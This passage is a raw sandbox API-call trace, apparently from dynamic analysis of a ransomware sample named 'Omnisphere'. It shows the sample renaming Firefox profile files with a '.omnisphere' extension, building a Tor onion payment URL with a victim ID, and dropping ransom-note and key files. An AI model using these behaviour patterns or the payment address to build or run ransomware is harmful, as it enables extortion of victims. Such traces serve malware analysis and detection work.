0x1600000 [0162.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x30e) returned 0x1712df0 [0162.152] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere")) returned 1 [0162.153] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere.id" [0162.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.154] WriteFile (in: hFile=0x398, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c368, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c368*=0x524, lpOverlapped=0x0) returned 1 [0162.155] CloseHandle (hObject=0x398) returned 1 [0162.155] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.155] CloseHandle (hObject=0x3b4) returned 1 [0162.155] SetEndOfFile (hFile=0x388) returned 1 [0162.155] FlushFileBuffers (hFile=0x388) returned 1 [0162.193] CloseHandle (hObject=0x388) returned 1 [0162.194] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903") returned 1 [0162.194] GetProcessHeap () returned 0x1600000 [0162.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174e118 [0162.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.194] GetProcessHeap () returned 0x1600000 [0162.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17342d8 [0162.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17342d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.194] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.194] GetProcessHeap () returned 0x1600000 [0162.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726598 [0162.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726598, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.194] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.194] GetProcessHeap () returned 0x1600000 [0162.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174e748 [0162.194] PathCombineW (in: pszDest=0x174e748, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt" [0162.194] GetProcessHeap () returned 0x1600000 [0162.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17438e0 [0162.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.195] WriteFile (in: hFile=0x388, lpBuffer=0x17438e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c900, lpOverlapped=0x0 | out: lpBuffer=0x17438e0*, lpNumberOfBytesWritten=0x3e0c900*=0x588, lpOverlapped=0x0) returned 1 [0162.195] CloseHandle (hObject=0x388) returned 1 [0162.195] GetProcessHeap () returned 0x1600000 [0162.195] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e118 | out: hHeap=0x1600000) returned 1 [0162.195] GetProcessHeap () returned 0x1600000 [0162.195] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x174e118 [0162.195] PathCombineW (in: pszDest=0x174e118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key" [0162.195] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.195] WriteFile (in: hFile=0x388, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c914, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c914*=0x5a0, lpOverlapped=0x0) returned 1 [0162.195] CloseHandle (hObject=0x388) returned 1 [0162.196] GetProcessHeap () returned 0x1600000 [0162.196] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e118 | out: hHeap=0x1600000) returned 1 [0162.196] GetProcessHeap () returned 0x1600000 [0162.196] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d8d8 | out: hHeap=0x1600000) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afb75b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0xab, cFileName="widevinecdm.dll.lib", cAlternateFileName="WIDEVI~1.LIB")) returned 0 [0162.196] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.196] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41bedc32, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41bedc32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41bedc32, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41bedc32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ba17c8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41ba17c8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41c60465, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afa3b9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x41ba17c8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="LICENSE.txt.omnisphere", cAlternateFileName="LICENS~1.OMN")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b7b5be, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41b7b5be, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41ba17c8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="LICENSE.txt.omnisphere.id", cAlternateFileName="LICENS~1.ID")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6f737, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x41bc98f2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="manifest.json.omnisphere", cAlternateFileName="MANIFE~1.OMN")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bc98f2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41bc98f2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41bc98f2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="manifest.json.omnisphere.id", cAlternateFileName="MANIFE~1.ID")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ba17c8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41ba17c8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41c60465, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.196] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afcaea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x58adf8, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0162.197] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afb75b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x41bedc32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xebc, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="widevinecdm.dll.lib.omnisphere", cAlternateFileName="WIDEVI~1.OMN")) returned 1 [0162.197] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bedc32, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41bedc32, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41bedc32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="widevinecdm.dll.lib.omnisphere.id", cAlternateFileName="WIDEVI~1.ID")) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bedc32, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41bedc32, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41bedc32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="widevinecdm.dll.lib.omnisphere.id", cAlternateFileName="WIDEVI~1.ID")) returned 0 [0162.198] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.198] GetProcessHeap () returned 0x1600000 [0162.198] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172aec0 | out: hHeap=0x1600000) returned 1 [0162.198] GetProcessHeap () returned 0x1600000 [0162.198] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c468 | out: hHeap=0x1600000) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="1.4.8.903", cAlternateFileName="148~1.903")) returned 0 [0162.198] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.198] GetProcessHeap () returned 0x1600000 [0162.198] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0162.198] GetProcessHeap () returned 0x1600000 [0162.198] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c458 | out: hHeap=0x1600000) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3fe90a6a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="handlers.json.omnisphere", cAlternateFileName="HANDLE~1.OMN")) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe90a6a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3fe90a6a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3fe90a6a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="handlers.json.omnisphere.id", cAlternateFileName="HANDLE~1.ID")) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3ff4f75d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4524, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db.omnisphere", cAlternateFileName="KEY3DB~1.OMN")) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ff4f75d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3ff4f75d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3ff4f75d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db.omnisphere.id", cAlternateFileName="KEY3DB~1.ID")) returned 1 [0162.198] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0162.198] GetProcessHeap () returned 0x1600000 [0162.198] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x1748c38 [0162.198] PathCombineW (in: pszDest=0x1748c38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="minidumps" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps" [0162.199] GetProcessHeap () returned 0x1600000 [0162.199] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x16415f0 [0162.199] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\*" [0162.199] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.199] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.199] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 0 [0162.199] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.199] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.199] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.199] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 0 [0162.199] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.200] GetProcessHeap () returned 0x1600000 [0162.200] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0162.200] GetProcessHeap () returned 0x1600000 [0162.200] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1748c38 | out: hHeap=0x1600000) returned 1 [0162.200] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6f2e0a0, ftLastWriteTime.dwHighDateTime=0x1d327cc, 